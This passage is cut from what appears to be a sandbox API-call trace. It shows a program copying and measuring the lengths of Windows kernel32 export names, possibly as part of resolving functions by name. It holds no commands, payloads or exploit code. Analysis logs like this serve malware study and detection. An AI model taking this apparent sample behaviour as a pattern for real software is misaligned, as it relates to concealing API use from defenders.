lpString1=0x2e7f298, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0118.126] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0118.126] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0118.126] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0118.126] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0118.126] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0118.126] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0118.126] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0118.126] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0118.126] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0118.126] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0118.127] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0118.127] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0118.127] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0118.127] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0118.127] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0118.127] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0118.127] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0118.127] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0118.127] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0118.127] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0118.127] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0118.127] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0118.127] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0118.127] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0118.127] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0118.127] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0118.127] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0118.127] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0118.127] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0118.127] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0118.127] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0118.127] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0118.127] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0118.127] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0118.127] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0118.127] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0118.127] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0118.127] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0118.127] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0118.127] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0118.127] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0118.127] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0118.127] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0118.127] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0118.127] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0118.128] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0118.128] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0118.128] lstrcpyA (in: lpString1=0x2e7f298, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0118.128] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0118.128] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0118.128] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0118.128] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0118.128] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0118.128] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0118.128] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0118.128] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0118.128] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0118.128] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0118.128] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0118.128] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0118.128] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0118.128] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0118.128] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0118.128] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0118.128] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0118.128] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0118.128] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0118.128] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0118.128] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0118.128] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0118.128] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0118.128] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0118.129] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0118.129] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0118.129] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0118.129] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0118.129] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0118.129] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0118.129] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0118.129] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0118.129] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0118.129] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0118.129] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0118.129] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0118.129] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0118.129] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0118.129] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0118.129] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0118.129] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0118.129] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0118.129] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0118.129] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0118.129] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0118.129] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0118.129] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0118.129] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0118.129] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0118.129] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0118.129] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0118.129] lstrcpyA (in: lpString1=0x2e7f298, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0118.129] lstrlenA (lpString="BEEP") returned 4 [0118.129] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0118.129] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0118.129] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0118.129] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0118.129] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0118.129] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0118.129] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0118.130] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0118.130] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0118.130] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0118.130] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0118.130] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0118.130] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0118.130] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0118.130] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0118.130] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0118.130] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0118.130] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0118.130] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0118.130] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0118.130] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0118.130] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0118.130] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0118.130] lstrlenA (lpString="CANCELIO") returned 8 [0118.130] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0118.130] lstrlenA (lpString="CANCELIOEX") returned 10 [0118.130] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0118.130] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0118.130] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0118.130] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0118.130] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0118.130] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0118.130] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0118.130] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0118.130] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0118.130] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0118.130] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0118.130] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0118.130] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0118.130] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0118.130] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0118.130] lstrlenA (lpString="CHECKELEVATION") returned 14 [0118.130] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0118.131] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0118.131] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0118.131] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0118.131] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0118.131] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0118.131] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0118.131] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0118.131] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0118.131] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0118.131] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0118.131] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0118.131] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0118.131] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0118.131] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0118.131] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0118.131] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0118.131] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0118.131] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0118.131] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0118.131] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0118.131] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0118.131] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0118.131] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0118.131] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0118.131] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0118.131] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0118.131] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0118.131] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0118.131] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0118.131] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0118.131] lstrlenA (lpString="CLOSESTATE") returned 10 [0118.131] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0118.131] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0118.131] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0118.131] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0118.131] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0118.132] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0118.132] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0118.132] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0118.132] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0118.132] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0118.132] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0118.132] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0118.132] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0118.132] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0118.132] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0118.132] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0118.132] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0118.132] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0118.132] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0118.132] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0118.132] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0118.132] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0118.132] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0118.132] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0118.132] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0118.132] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0118.132] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0118.132] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0118.132] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0118.132] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0118.132] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0118.132] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0118.132] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0118.132] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0118.132] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0118.132] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0118.132] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0118.132] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0118.132] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0118.132] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0118.132] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0118.132] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0118.133] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0118.133] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0118.133] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0118.133] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0118.133] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0118.133] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0118.133] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0118.133] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0118.133] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0118.133] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0118.133] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0118.133] lstrlenA (lpString="COPYCONTEXT") returned 11 [0118.133] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0118.133] lstrlenA (lpString="COPYFILE2") returned 9 [0118.133] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0118.133] lstrlenA (lpString="COPYFILEA") returned 9 [0118.133] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0118.133] lstrlenA (lpString="COPYFILEEXA") returned 11 [0118.133] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0118.133] lstrlenA (lpString="COPYFILEEXW") returned 11 [0118.133] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0118.133] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 